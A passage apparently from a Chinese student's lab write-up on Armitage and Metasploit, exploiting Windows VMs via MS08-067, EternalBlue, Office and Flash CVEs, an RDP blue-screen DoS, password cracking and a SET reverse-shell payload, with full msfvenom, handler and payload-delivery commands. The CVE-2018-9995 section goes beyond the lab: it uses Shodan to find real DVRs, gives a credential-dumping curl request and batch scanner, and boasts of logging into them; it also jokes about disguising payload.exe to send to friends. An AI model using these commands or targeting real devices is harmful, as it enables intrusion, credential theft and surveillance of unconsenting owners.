0x01 实践环境
- macOS下Parallels Desktop虚拟机中(网络源均设置为共享网络模式):
- Kali Linux - 64bit(攻击机,IP为
10.211.55.10
) - Windows 7 - 64bit(靶机,IP为
10.211.55.14
) - Windows XP Professional Version 2002 Service Pack 3(靶机,IP为
10.211.55.16
- Kali Linux - 64bit(攻击机,IP为
0x02 预备知识
Armitage基本介绍:
- Armitage是一款基于Java的Metasploit图形界面化的攻击软件,可以用它结合 Metasploit中已知的exploit来针对主机存在的漏洞自动化攻击。通过命令行的方式使用Metasploit难度较高,需要记忆的命令过多,而Armitage完美的解决了这一问题,用户只需要简单的点击菜单,就可以实现对目标主机的安全测试和攻击。Armitage良好的图形展示界面,使得攻击过程更加直观,用户体验更好。因其操作的简单性,尤其适合Metasploit初学者对目标系统进行安全测试和攻击。
Armitage攻击目标主机的的一般方法:
- 目标网络扫描:为了确定目标主机所在网络结构的网络拓扑,为后续目标主机信息搜索和攻击奠定基础。
- 目标主机信息搜集:为了收集目标主机的漏洞信息,根据收集到的漏洞信息可以利用Armitage在Metasploit中自动搜索合适的攻击模块。
- 目标主机攻击模块搜索:主要方法是依据发现的漏洞信息寻找可以突破目标系统的现有漏洞利用模块,为具体的攻击方案制定提供尽可能多的可靠支撑。
0x03 Armitage基础配置
- Armitage官网妹子镇楼:
- 打开Kali攻击机,在终端中输入
/etc/init.d/postgresql start
命令启动postgresql服务: - 在msfconsole中输入
armitage
命令启动Armitage(在终端中直接输入也可以):
也可以通过菜单栏图标直接打开Armitage! 对就是这个一脸坏笑的科技感十足的妹子233
界面如下:
0x04 Nmap:Armitage下信息搜集与漏洞扫描
- 由于本次实践中靶机的IP已知,这里可以直接导入靶机的IP
10.211.55.16
,不过更一般的方法是根据已知信息推导出目标主机所在网段的IP,扫描目标网段完整信息,确认目标网络拓扑结构以实施网络侦查。在Armitage上方工具栏中依次选择Hosts
->Nmap Scan
->Quick Scan(OS detect)
:
填写靶机所在网段10.211.55.0/24
:
唔...这不就同样给靶机扫出来了吗! - 选中靶机
10.211.55.16
,右键选择Services
,查看靶机上开启的服务:
可见靶机的139端口开启了netbios-ssn服务,445端口开启了microsoft-ds服务~ - 选中靶机
10.211.55.16
,右键选择Scan
,Armitage会调用Metasploit的漏洞扫描模块,定向扫描靶机,寻找存在的漏洞,为下一步确定攻击方法提供参考依据:
可见类似前几次实验在Metasploit中手动配置主机号、端口号等设置现在统统直接自动化了! - 利用上一步中漏洞扫描得到的漏洞信息,自动搜索Metasploit攻击模块库,寻找合适的攻击模块。选中靶机
10.211.55.16
,依次选择菜单栏Attacks
->Find Attacks
,Armitage会开始自动搜索寻找合适的攻击模块: - 搜索完成,Happy hunting_
0x05 Armitage下漏洞自动化攻击实践
5.1 ms08_067_netapi(CVE-2008-4250):Windows远程溢出漏洞自动化攻击
ms08_067漏洞介绍:
This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
CVE ID:CVE-2008-4250
原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call 远程过程调用)请求,通过MSRPC over SMB通道调用Server程序中的
NEtPathCanonicalize()
函数时触发,NetPathCanonicalize()
函数在远程访问其他主机时,会调用NetpwPathCanonicalize()
函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize()
函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。危害:攻击者能远程主动发起对漏洞主机端口的扫描,并且能直接获得漏洞主机的系统权限,属于最高严重级别的漏洞。
在利用Armitage完成对靶机的攻击模块自动化搜索以后,选中
10.211.55.16
主机右键可以发现多了Attack
菜单。依次选择Attack
->smb
->ms08_067_netapi
菜单,选择smb漏洞下的ms08_067漏洞对XP靶机进行攻击(也可以在Armitage左侧树型目录下依次选择exploit
->windows
->smb
->ms08_067_netapi
找到该漏洞):在弹出的攻击配置对话框中配置LHOST/RHOST、LPORT/RPORT等信息(一般会自动配置好,这里把LPORT改成学号),
Targets
处配置靶机的系统(一般默认自动检测靶机系统),勾选Use a reverse connection
,点击Launch
开始攻击:Armitage会进行一系列自动化攻击!攻击完成后,可以看到靶机的图标会发生明显变化:
Armitage会自动建立一个驻留在内存的shellcode即Meterpreter。在攻击成功的靶机上右键选择
Meterpreter 1
->Interact
->Command Shell
,输入dir
命令查看靶机C:\WINDOWS\system32
目录下的系统文件:
攻击完成(⁎⁍̴̛ᴗ⁍̴̛⁎):在攻击成功的靶机上右键选择
Meterpreter 1
->Interact
->Meterpreter Shell
,输入getuid
命令查看靶机当前用户的权限是SYSTEM权限:
攻击完成(⁎⁍̴̛ᴗ⁍̴̛⁎):
5.2 ms14_064_ole_code_execution(CVE-2014-6352):IE远程代码执行漏洞自动化攻击
ms14_064_ole_code_execution漏洞简介:
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.
CVE ID:CVE-2014-6352
原理及危害:OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术。Microsoft Windows在OLE组件的实现上存在安全漏洞,未经身份验证的远程攻击者可利用此漏洞执行远程代码。此漏洞源于没有正确处理含有OLE对象的Office文件。
受影响系统版本:
- Microsoft Windows Vista
- Microsoft Windows Server 2012
- Microsoft Windows Server 2008
- Microsoft Windows RT
- Microsoft Windows 8.1
- Microsoft Windows 8
- Microsoft Windows 7
在Armitage左侧树型目录下依次选择
exploit
->windows
->browser
->ms14\_064\_ole\_code\_execution
找到该漏洞并双击打开配置界面开始配置。注意!此处需要把AllowPowershellPrompt
置为1!!然后配置好LHOST/RHOST、LPORT/RPORT等信息(把LPORT改成学号,其余均取默认值),Targets
处配置靶机的系统Windows XP,点击Launch
开始攻击:Armitage会进行一系列自动化攻击!
靶机打开IE浏览器,输入meterpreter提供的URL
http://10.211.55.10:8080/0KO2YrGZdZ1viW/SrEsdO/
并回车,在靶机看来似乎并没有发生什么!然而此时Armitage中靶机的图标已发生明显变化,表明Kali攻击机已攻击成功!!
开始操作一波吧_在攻击成功的靶机上右键选择
Meterpreter 1
,发现除了上个攻击实践中查看Command Shell
和Meterpreter Shell
功能之外,还具有查看浏览器文件、进程、截屏等功能!- 选择
Explore
->Browse Files
查看浏览器文件: - 选择
Explore
->Show Processes
查看靶机进程(这个比较有用啊emmm): - 选择
Explore
->Screenshot
进行截屏(听说你是截屏狂魔?): - 选择
Explore
->Webcam shot
调一波网络摄像头(颜控必备233):
什么?!竟然没装摄像头!欺骗我感情啊o(︶︿︶)o
- 选择
5.3 ms17_010_eternalblue(CVE-2017-0143):“永恒之蓝”自动化攻击
ms17_010_eternalblue漏洞介绍:
This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.
EternalBlue是2017年席卷全球的WannaCry勒索病毒的罪魁祸首,是微软近些年来最为严重的远程代码执行漏洞,可以直接获得系统权限。百度上EternalBlue一般指去年爆发的WannaCry,实际上是该勒索病毒软件利用了NSA泄露的危险漏洞EternalBlue进行传播。
CVE ID:CVE-2017-0143
原理:
- 利用Metasploit中近期更新的针对ms17-101漏洞的攻击载荷进行攻击获取主机控制权限。
- 利用windows系统的Windows SMB远程执行代码漏洞向Microsoft服务器消息块(SMBv1)服务器发送经特殊设计的消息,能允许远程代码执行。
主要用途:
- Windows的SMBv1、SMBv2远程溢出漏洞,对应MS17_010,主要针对445端口
受影响系统版本:
- 较广,从WindowsXP到Windows server 2012
在Armitage菜单栏依次选择
Hosts
->Nmap Scan
->Quick Scan(OS detect)
并填写靶机所在网段10.211.55.0/24
搜索存活的主机:
发现两台可以攻击的靶机,一台XP(IP为10.211.55.16
)一台win7(IP为10.211.55.14
):依次选择菜单栏
Attacks
->Find Attacks
,Armitage会开始自动搜索靶机寻找合适的攻击模块,对于win7右键依次选择Attack
->smb
,可以发现Armitage提供了5个可供攻击的smb漏洞,选择check exploits
检查这些漏洞是否能被攻击:
可以看到除了第一个漏洞ipass_pipe_exec
没有检测结果不知道能否进行攻击之外其他4个全部阵亡,要么不可利用(not exploitable)要么检测不出来(not support check):
并没有找到所谓的eternalblue,怎么破?别着急,这里我们还是在Armitage左侧树型目录下依次选择
exploit
->windows
->smb
->ms17_010_eternalblue
找到传说中的eternalblue永恒之蓝并双击打开配置界面,相关配置均用默认值即可:
特别注意的是,eternalblue是针对445端口进行攻击的,攻击成功与否关键在于靶机是否开放了这个端口!!!点击
Launch
开始攻击win7:
攻击不成功?!再来!重新双击打开eternalblue配置界面,勾选
Use a reverse connection
,点击Launch
开始攻击:
看看win7靶机的图标,攻击成功!!!
查看session并进入,获取shell:
接下来该干什么,你懂的_Happy hunting_不过另一台靶机就没那么给面子了,可能由于eternalblue只能攻击Windows 7和Windows server 2008,攻击xp时会显示操作系统不匹配攻击不成功(._.)
5.4 office_ms17_11882(CVE-2017-11882):Office远程代码执行漏洞自动化攻击
Microsoft Office CVE-2017-11882漏洞介绍:
Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
这是一个潜伏了17年之久的远程代码执行漏洞。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。原理是利用了Office的一个EQNEDT32.EXE(公式编辑器)组件,攻击者能够以当前登录的用户的身份执行任意命令。
CVE ID:CVE-2017-11882
受影响系统版本:
- Office 365
- Microsoft Office 2000
- Microsoft Office 2003
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2016
在win7靶机上安装Microsoft Office 2016:
在Kali攻击机中依次输入以下命令生成doc测试文件:
- 安装启动nginx:
apt-get install nginx
cd /usr/share/nginx/html/
systemctl start nginx
- 下载生成doc的python脚本:
git clone https://github.com/Ridter/CVE-2017-11882.git
cd CVE-2017-11882/
- 生成测试文件
cve.doc
(靶机在打开该测试文件时同时会自动打开计算器程序calc.exe
,以验证Office CVE-2017-11882漏洞的存在):python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o cve.doc
- 将
cve.doc
放到网站根目录:cp cve.doc /usr/share/nginx/html/
ls /usr/share/nginx/html/
- 安装启动nginx:
用ncat向靶机发送
cve.doc
:- win7靶机用命令行进入ncat目录,打开监听:
ncat.exe -lv 5314 > cve.doc
- Kali攻击机建立连接并传输:
ncat -nv 10.211.55.14 5314 < cve.doc
- win7靶机用命令行进入ncat目录,打开监听:
靶机进入ncat目录,打开
cve.doc
,成功弹出calc.exe
计算器程序,测试成功:
在Armitage左侧树型目录下依次选择
exploit
->windows
->fileformat
->office\_ms17\_11882
找到该漏洞并双击打开配置界面开始配置,注意有两处配置需要手动修改:- FILENAME+一栏填写生成doc文件的名字
cve2.doc
! - 设置URI路径时要与上面生成doc时配置的路径一致!
- FILENAME+一栏填写生成doc文件的名字
点击
Launch
开始自动化攻击流程:注意这条提示信息!它指明了刚刚MSF生成的
cve2.doc
所在路径!
然后我们进入该目录并用ncat把cve2.doc
传到靶机上:win7靶机进入ncat目录,打开
cve2.doc
,触发访问10.211.55.10:8080/5314
就会得到反弹到5314
端口的TCP会话:
于是可怜的靶机又被我攻陷了哈哈哈哈哈!!
来抓个屏笑一个?_
5.5 CVE-2018-4878:Adobe Flash 0day漏洞自动化攻击
Adobe Flash CVE-2018-4878漏洞介绍:
2018年2月1日,Adobe官方发布了Adobe Flash Player系列产品的安全通告(APSA18-01),一个最新的Adobe Flash 0day漏洞被发现针对韩国地区的人员发起攻击,该0day漏洞编号为CVE-2018-4878,目前最新版本28.0.0.137及其以前版本的Adobe Flash Player均受漏洞影响。直到2月5日,Adboe才发布补丁来修复此0day漏洞。
攻击者通过构造特殊的Flash链接,并将恶意Flash链接嵌入Office文档、网页或者桌面应用,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。
受影响系统版本:
产品 版本 平台 Adobe Flash Player桌面运行时 28.0.0.137和更早版本 Windows,Macintosh 适用于Google Chrome的Adobe Flash Player 28.0.0.137和更早版本 Windows,Macintosh,Linux和Chrome操作系统 适用于Microsoft Edge和Internet Explorer 11的Adobe Flash Player 28.0.0.137和更早版本 Windows 10和8.1 Adobe Flash Player桌面运行时 28.0.0.137和更早版本 Linux
由于Armitage中并未自带此漏洞的攻击模块,我们需要自己配置攻击环境!
下载并解压
CVE-2018-4878-master.zip
,输入命令:unzip CVE-2018-4878-master.zip
用msfvenom生成shellcode,注意IP地址应为Kali的IP,输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 -f python > code.txt
查看代码文件,输入命令:
cat code.txt
进入
CVE-2018-4878-master.zip
的解压目录,编辑cve-2018-4878.py
文件,输入命令:
将下面红色标出的部分用刚才生成的shellcode替换: 然后修改swf文件和html文件路径为自己的路径并保存退出:vim cve-2018-4878.py
用python执行脚本文件生成
exploit.swf
和exploit.html
,输入命令:python cve-2018-4878-master.py
启动Apache服务,输入命令:
service apache2 start
可以用
netstat
命令查看Apache服务是否开启:service apache2 status
Apache服务成功开启后,将之前生成的
cp exploit.swf
和exploit.html
复制到apache2服务的网页目录下,输入命令:cp exploit.swf /var/www/html/exploit.swf
**至此,攻击环境基本配置完成,现在只要受害者访问我们的链接就可以直接被远程控制!**cp exploit.html /var/www/html/exploit.html
下面开始用Armitage操作一波!看仔细咯~
老规矩,启动Armitage定向扫描,先将咱们的win7靶机给扫出来:
需要注意的是Armitage界面下方的Console可以直接输入metasploit的相关命令!使用handler监听模块,输入命令:
use exploit/multi/handler
将攻击载荷设置为我们在生成文件的时候所选择的攻击载荷(此处为反弹TCP连接),输入命令:
set payload windows/meterpreter/reverse_tcp
设置Kali攻击机的IP和监听端口(我们在用msfvenom生成shellcode时设置的端口),输入命令:
set LHOST 10.211.55.10 set LPORT 5314
攻击配置完成,开启监听,输入命令:
万事俱备,就等靶机一个反弹连接骚操作啦>_<exploit
win7靶机下载安装Adobeflash 28.0:
选择不检查更新:用IE访问
http://10.211.55.10:8088/exploit.html
:OK攻击成功!此时我们可以看到Kali攻击机已经获取到sessions:
接下来又到了获得shell的时间!先查看一波系统配置吧>_<
其实在Armitage里获得shell之后的操作并没有直接在MSF命令行里那么舒服,下面展示一波我用msfconsole又做了一遍的结果:玩点啥呢...截个屏呗?
查看一波系统进程!
来玩玩没玩过的!试试这个什么ARP扫描>_<
默认设置,直接开干>_<
唔...好像确实挺牛逼的,能把ARP缓存表给扫出来,连我用的是PD都知道0.0这是...远程桌面控制吗?!
然鹅很遗憾我的win7靶机并没装VNC viewer...所以这次就算了吧>_<暂时放过你233
5.6 CVE-2018-9995:DVR登录绕过漏洞攻击
CVE-2018-9995漏洞介绍:
2018年5月1日,一名阿根廷安全研究人员Ezequiel Fernandez发布了一款功能强大的新型黑客工具,可以轻松地提取各种数字视频录像机(DVR)品牌的明文凭证,并授予攻击者访问这些系统的权限,本质上来说就是允许用户随意查看DVR录制的视频记录。
该工具名为“getDVR_Credentials”,是CVE-2018-9995的概念验证(proof-of-concept,简称PoC),而CVE-2018-9995是Fernandez于上月初发现的一个安全漏洞。
使用shodan获取有可能存在漏洞的设备,搜索关键字
GNU rsp/1.0
(还可以使用zoomeye,fofa,google等搜索引擎搜索设备,这里我就未做其他尝试了):使用curl命令获取该MDVR设备的登录密码(条件是存在
device.rsp
页面并可访问),这简直是一条万能的命令啊:
嘻嘻,list出来两组用户名和密码!!!还等什么赶紧试试!!curl "http://<dvr_host>:<port>/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"
输入任一组用户名和密码之后就能登录DVR设备了>_<可以说非常易行且致命>_<由于某些原因这里就不再上图啦>_<
开心之余,我们可以思考一下能否将这种入侵手段做成MSF的一个攻击模块然后利用咱们的Armitage实施自动化攻击呢?实际上这位阿根廷大佬已经写好了一个py工具发布在他的github上!我们可以直接拿来用233>_<
Kali攻击机打开终端,依次输入以下命令进行安装配置:
git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git cd CVE-2018-9995_dvr_credentials pip install -r requirements.txt
一切准备就绪,开始攻击!!!输入以下命令:
python getDVR_Credentials.py --host HOST --p PORT
--p PORT
不指出也行喔!
emmmm成功啦,可以看出这台XVR设备存在弱口令漏洞,密码竟然为空666666再黑进一波,溜了~
DVR系列设备漏洞批量检测
Kali攻击机终端中输入命令
vim CVE-2018-9995_check.py
新建CVE-2018-9995_check.py
;这里我们直接拿来hzkey大佬的脚本,该脚本用来批量检测我们输入送检的DVR系列设备是否存在
login.rsp
页面,输入以下代码然后保存并退出:import tableprint as tp import sys import requests import re class Colors: GREEN = '\033[32m' RED = '\033[0;31m' BLUE = '\033[*]' ORANGE = '\033[33m' def check_host(host): try: print(Colors.ORANGE+"Checking : %s"%host) url = 'http://' + host+'/login.rsp' rr= requests.get(url,timeout=30,allow_redirects=False) if rr.status_code == 200 and re.findall("GNU rsp/1.0", rr.headers["Server"]): print(Colors.GREEN+"[*] CVE-2018-9995 Detection :Url is %s"%url) ff=open('result.txt','a+') ff.write('%s\n'%(url)) except: pass if __name__ == '__main__': if len(sys.argv) < 2: print(Colors.BLUE+"""Usage: Python3 CVE-2018-9995.py host.txt host.txt:127.0.0.1:8080 or www.baidu.com """) if len(sys.argv) >= 2: file = open(sys.argv[1]) for i in file: i = i.strip() check_host(i) file.close()
用命令
vim host.txt
新建host.txt
,内容可以为shodan等搜索引擎上搜到的设备的IP:PORT
(可以不写端口)或者域名的形式;输入以下命令:
python CVE-2018-9995_check.py host.txt
脚本运行后对使用了DVR系列摄像头的host会保存到
result.txt
文件里:
啧啧啧shodan第一页上10台DVR系列的设备竟然有9台存在漏洞!抱歉我们Hacker就是可以为所欲为!!
0x06 Armitage下Auxiliary辅助模块应用
6.0 Metasploit Auxiliary辅助模块概述
Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等。这些模块可以分为Admin、Scanner、Server三个大类。
根据本学期《网络对抗技术》和《网络安全协议》课程所学知识,我们可以按照不同协议和服务对应的端口来对辅助模块进行功能性划分:
<td>anonymos</td>
<td>auxiliary/scanner/ftp/anonymos</td>
<td>FTP匿名登录</td>
端口 | 协议或服务 | 模块名 | 路径 | 功能 |
---|---|---|---|---|
信息收集 | psnuffle | auxiliary/sniffer/psnuffle | 嗅探抓包 | |
dir_scanner | auxiliary/scanner/http/dir_scanner | 扫描网站目录 | ||
search_email_collector | auxiliary/gather/search_email_collector | 搜索网站中的E-mail | ||
服务扫描及利用 | syn | auxiliary/scanner/portscan/syn | SYN端口扫描 | |
tcp | auxiliary/scanner/portscan/tcp | TCP端口扫描 | ||
xmas | auxiliary/scanner/portscan/xmas | TCP "XMas"端口扫描 | ||
ack | auxiliary/scanner/portscan/ack | ACK防火墙扫描 | ||
arp_sweep | auxiliary/scanner/discovery/arp_sweep | 探测网段中存活主机 | ||
21 | FTP | ftp_version | auxiliary/scanner/ftp/ftp_version | FTP主机扫描 |
22 | SSH | ssh_version | auxiliary/scanner/ssh/ssh_version | SSH服务扫描 |
ssh_login | auxiliary/scanner/ssh/ssh_login | SSH口令猜测 | ||
23 | Telnet | telnet_version | auxiliary/scanner/telnet/telnet_version | Telnet服务扫描 |
telnet_login | auxiliary/scanner/telnet/telnet_login | Telnet口令猜测 | ||
25 | SMTP | smtp_version | auxiliary/scanner/smtp/smtp_version | SMTP版本扫描 |
smtp_enum | auxiliary/scanner/smtp/smtp_enum | SMTP枚举 | ||
69 | TFTP | tftpbrute | auxiliary/scanner/tftp/tftpbrute | FTP文件扫描 |
anonymous | auxiliary/scanner/ftp/anonymous | FTP匿名登录 | ||
139、445 | SMB | smb_version | auxiliary/scanner/smb/smb_version | 扫描操作系统版本 |
smb_lookupsid | auxiliary/scanner/smb/smb_lookupsid | 扫描组的用户 | ||
smb_login | auxiliary/scanner/smb/smb_login | 用于登录 | ||
smb_enumusers | auxiliary/scanner/smb/smb_enumusers | 枚举系统上的用户 | ||
161 | SNMP | snmp_enum | auxiliary/scanner/snmp/snmp_enum | 批量检测SNMP |
snmp_login | auxiliary/scanner/snmp/snmp_login | 扫描SNMP主机 | ||
1521 | oracle | tnslsnr_version | auxiliary/scanner/oracle/tnslsnr_version | oracle服务扫描 |
1433 | mssql | mssql_ping | auxiliary/scanner/mssql/mssql_ping | 扫描开放mssql主机 |
3306 | mysql | mysql_login | auxiliary/scanner/mysql/mysql_login | mysql口令猜测 |
5432 | postgres | postgres_login | auxiliary/scanner/postgres/postgres_login | postgres口令猜测 |
8080 | tomcat | tomcat_mgr_login | auxiliary/scanner/http/tomcat_mgr_login | tomcat口令猜测 |
6.1 John the Ripper:Linux口令破解模块攻击实践
jtr_linux密码破解模块简介:
This module uses John the Ripper to identify weak passwords that have been acquired from unshadowed passwd files from Unix systems. The module will only crack MD5 and DES implementations by default. Set Crypt to true to also try to crack Blowfish and SHA implementations. Warning: This is much slower.
- 用途:最流行的口令破解器,用于破解弱口令Hash(默认只破解MD5和DES,将Crypt选项置为true也能够慢速破解Blowfish和SHA)
John the Ripper简介:
The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.
- JTR官网:John the Ripper - Metasploit Unleashed
- 原理:JTR(以及任何离线密码破解器)的工作方式是计算列表(或所生成的)单词的Hash,并将它们与需要被破解的Hash对比,当存在匹配时它就假设密码找到了。
首先我们需要以特定格式设置用户名和密码Hash(这里选择用MD5在线生成):
访问MD5在线加解密网站CMD5,在上方【密文】处输入一段字符串,下方【查询结果】处就立即显示出结果(只要不超过31位,否则会卡住233):
分别将不同用户名对应的密码经过MD5在线加密之后得到Hash值,获得下面这张表:
用户名 密码 Hash admin admin 21232f297a57a5a743894a0e4a801fc3 user user ee11cbb19052e40b07aac0ca060c23ee Tom password 5f4dcc3b5aa765d61d8327deb882cf99 jtr_linux abc123 e99a18c428cb38d5f260853678922e03 20155314 qwertyu123. 682e9cfe26d949a10009cfc9969076ad kxjsjc@163.com kxjsjc_wx_1553 d80b3f4f2517d9a3ecf2a1e8031f6ff1
在Kali攻击机中新建一个名为
hashes.txt
的文本文件,把表中信息添加进去,每行包含一个用户名和一个Hash,以:
分隔(username:hash
):在Armitage左侧树型目录下依次选择
auxiliary
->analyze
->jtr_linux
并双击打开开始配置,配置好JOHN_PATH然后点Launch
:用
show options
命令还可以查看模块的有效选项及其详细描述:Armitage会为我们生成一个单词列表文件WordList,但是不知道什么原因它并没有识别出我的
hashes.txt
而报错:(此时我们手动使用刚刚Armitage生成的单词列表进行破解,打开终端并执行以下命令:
可以看到单词列表中6个口令破解了4个。我们还能看出,John每秒能尝试10,013,000次(10,013KC/s)!!!john --wordlist=/tmp/jtrtmp20180502-5917-ctqwpk --format=raw-md5 hashes.txt
至于剩下的两个,可能是我把密码设置得太复杂的原因吧一直没破解出来(ー ー;)将
--wordlist
选项去掉采用暴力破解的方式也一直没跑出来(ー ー;)时间原因跑了不到10分钟就被我掐掉了感觉速度还是比彩虹表要慢很多啊(ー ー;)
6.2 ms12_020_maxchannelids(CVE-2012-0152):Windows远程桌面释放重引用拒绝服务模块之死亡蓝屏攻击实践
MS12-020 Microsoft Remote Desktop Use-After-Free Denial of Service模块简介:
This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.
UAF(Use-After-Free)释放重引用漏洞简介:
Use-After-Free是一种内存破坏漏洞,成因是一块堆内存被释放了之后又被使用(指针存在)。这个引用的结果是不可预测的。
举例:假设一个对象A前4字节(0x400000)为函数printf,释放后,恶意用户重用这个空间,将前4字节改为(0x4a0000)system函数,然后来到漏洞的触发点,程序由于疏忽再次调用A的printf,却调用了system函数。
MS12-020漏洞简介:
MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞。
CVE ID:CVE-2012-0152
原理:使用了CVE-2012-0152远程桌面协议RDP拒绝访问漏洞。远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化的或已经删除的对象,导致任意代码执行,然后控制系统。
危害:若存在该漏洞,其最严重的情况可能会造成被攻击系统被远程执行任意代码,而通常情况下会造成对方蓝屏或重启。
受影响系统版本(开了RDP的):
- Microsoft Windows XP Professional
- Microsoft Windows XP Home
- Microsoft Windows Server 2003 Standard Edition
- Microsoft Windows Server 2003 Enterprise Edition
- Microsoft Windows Server 2003 Datacenter Edition
- Microsoft Windows 7
为了达到我们的实践效果,我们需要在win7靶机上开启远程桌面协议,步骤如下:
- 在【计算机】上右键属性打开属性菜单,允许远程桌面连接:
- 在【控制面板】中打开【网络和共享中心】,更改【高级共享设置】:
启用公用文件夹共享: - 按下快捷键
windows + R
打开运行,输入services.msc
打开计算机服务管理,启动远程桌面服务(默认是禁止的): - 修改防火墙设置,增加一条允许连接tcp 3389端口的入站记录,或者干脆直接关闭防火墙!
- 在cmd中输入命令
netstat -a
查看端口开放情况,可以看到此时3389端口已经开放:
Kali攻击机打开Armitage,在上方工具栏中依次选择
Hosts
->Nmap Scan
->Quick Scan(OS detect)
,填写靶机所在网段10.211.55.0/24
,然后选中靶机10.211.55.14
,右键选择Services
,查看靶机上开启的服务:
可见靶机已经开启了3389远程服务,那么接下来我们利用Armitage中MS12-020这个RDP拒绝访问漏洞辅助模块来进行攻击!在Armitage左侧树型目录下依次选择
auxiliary
->dos
->windows
>rdp
>ms12_020_maxchannelids
(也可直接在下方搜索栏输入关键字搜索,更快)并双击打开配置,发现RHOST和RPORT已经被默认设置为靶机的配置,我们直接点击Launch
即可进行攻击:Armitage这边显示靶机的RDP协议seems down,一看靶机那边瞬间蓝屏( ̀⌄ ́)哦哟攻击成功!!!
我们的口号是——蓝屏的*,好喝的*!(广告莫名植入)
同时,我们可以从蓝屏信息中看出这次蓝屏是由于RPDWD.SYS
引起的内存地址异常(0x00000050),有分析称出现漏洞的罪魁祸首是该文件中的HandleAttachUserReq()
函数。随后win7靶机自动重启,然后弹窗提示刚刚异常关机了(废话不异常才怪呢嘿嘿嘿):
0x07 Armitage下网络欺诈综合应用
7.1 Social Engineering Toolkit:Armitage下利用SET工具构造payload获取Windows开机密码
我们还可以将Exp7中用到的setoolkit和Armitage配合使用进行社会工程学攻击,实现靶机自动上线并获取靶机Administer账户登录密码!
- 打开Kali攻击机,终端中输入
setoolkit
命令启动SET工具,然后输入y
,出现欢迎页面,选择1
进行社会工程学攻击: - 选择
4
生成一个payload和监听: - 选择
2
Windows Reverse_TCP Meterpreter: - 配置LHOST(Kali攻击机IP)和LPORT(自己学号),然后输入
yes
: - 打开自动生成的
payload.exe
目录并找到该文件: - 将生成的
payload.exe
利用ncat传到靶机并运行:- win7靶机用命令行进入ncat目录,打开监听:
ncat.exe -lv 5314 > payload.exe
- Kali攻击机建立连接并传输:
ncat -nv 10.211.55.14 5314 < payload.exe
- win7靶机用命令行进入ncat目录,打开监听:
- 此时在setoolkit中发现已经有一个session被打开:
- 使用
sessions
命令查看当前可连接的会话,并用sessions -i
进行连接: - 接下来就...嘿嘿嘿你懂的>_<
我们的口号是:搞事情!搞事情!搞事情!
下面终于轮到我们的Armitage大干一番了!!!
打开Armitage,在顶端工具栏中依次选择
Armitage
->Listeners
->Set LHOST
,填写Kali攻击机IP地址:
选择
Reverse(wait for)
设置端口和类型:填写端口(学号)和Meterpreter类型:
配置好后点击Start Listener开始监听,此时msf会自动配置exploit模块:
此时靶机重启并运行我们的
payload.exe
时,目标会自动出现在Armitage控制台界面内并被开启Meterpreter会话:
这就轻易地实现靶机自动上线了!还在等什么赶快把这个exe文件改个名换个图标伪装一下发给你的小伙伴们吧(坏笑)~接下来我们将通过抓取管理员Hash值的方法破解靶机的开机密码!首先在攻击成功的靶机上右键依次选择
Meterpreter 1
->Access
->Dump Hashes
->registry method
:可以看出Dump Hashes的原理是从SAM文件中dump域账户的密码hash,话不多说直接用默认配置
Launch
:dump hashes竟然失败了,提示权限不够:
既然如此我们手动提权试一下?
- 首先用
sessions
